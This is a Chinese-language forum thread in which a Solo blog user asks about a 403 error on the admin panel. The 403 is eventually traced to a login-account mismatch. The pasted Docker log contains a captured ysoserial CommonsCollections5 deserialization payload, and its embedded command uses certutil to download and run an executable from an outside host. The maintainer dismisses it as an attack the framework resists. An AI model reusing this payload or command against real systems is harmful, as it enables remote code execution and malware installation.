Solo 管理端进不去,提示“403 forbidden”, 拉取的最新的镜像

  • Solo

    Solo 是一款小而美的开源博客系统,专为程序员设计。

    Solo 有着非常活跃的社区,可将文章作为帖子推送到社区,来自社区的回帖将作为博客评论进行联动。

    这是一种全新的网络社区体验,让热爱记录和分享的你不再感到孤单!
    具体细节请浏览 B3log 构思

    1097 引用 • 8450 回帖 • 628 关注
9 回帖
请输入回帖内容...
  • Meditator
  • 88250

    请看日志

    1 回复
  • Meditator
    Parses request [uri=/invoker/readonly, remoteAddr=/47.100.216.184:59269, body=null] failed: invalid hex byte '1�' at index 708 of '��sr.javaxdetailMessagetLjava/lang/String;[xception��ګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception��>;�xrjava.lang.Throwable��5'9w��LcausetLjava/lang/Throwable;L
    2020-02-26T02:33:06.256039561Z stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpqpur[Ljava.lang.StackTraceElement;F*<<�"9xpsrava.lang.StackTraceElementa        Ś&6 ݅I
    2020-02-26T02:33:06.256046320Z lineNumberLdeclaringClassq~fileNameq~L
    2020-02-26T02:33:06.256051719Z methodNameq~xpRt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat        getObjectsq~
    q~q~sq~                                                                                                                             4q~
    "tysoserial.GeneratePayloadtGeneratePayload.javatmainsr&java.util.Collections$UnmodifiableList�%1��Llistq~xr,java.util.Collections$UnmodifiableCollectionB��^�LctLjava/util/Collection;xpsrjava.util.ArrayListx����a�Isizexpwxq~xsr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apache.commons.collections.map.LazyMapn 唂 �y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.CiTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L    iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;L
    iMethodNameq~[
    iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
    2020-02-26T02:33:06.256104650Z getRuntimeur[Ljava.lang.Class;�׮��Z�xpt  getMethoduq~2vrjava.lang.String��8z;�Bxpvq~2sq~+uq~/puq~/tinvokeuq~2vrjava.lang.Objectxpvq~/sq~+ur[Ljava.lang.String;��V��{Gxpt�cmd.exe /c certutil.exe -urlcache -split -f http://cb.fuckingmy.life/download.exe C:\Windows/Temp/download.exe & cmd.exe /c C:\Windows/Temp/download.exetexecuq~2q~7sq~'srjava.lang.Integer⠤���8Ivaluexrjava.lang.Number���
    ���xpsrjava.util.HashMap���`�F
    

    docker 打印出的日志,不好意思,还乱码,我还不会处理。😭

    1 回复
  • 88250

    这是一个安全注入攻击请求,不用理会,Latke 框架没这漏洞。

    1 回复
  • Meditator

    嗯,我没找到其他错误日志了,我回去重新装下试试吧 😂 ,不行就不用 docker 部署了。

    1 回复
  • 88250

    强烈建议用 Docker 部署,然后跑定时任务自动更新。

    1 回复
  • mrtiantian

    @88250 我也是同样的问题?大神回答一下呗

    1 回复
  • 88250

    登录后报 403 的话说明该用户没有访问管理后台的权限。

  • Meditator

    找到原因了,之前用的 GitHub 账号登录的,注册黑客派用的微信,现在黑客派账号登录后台就会出错。

请输入回帖内容 ...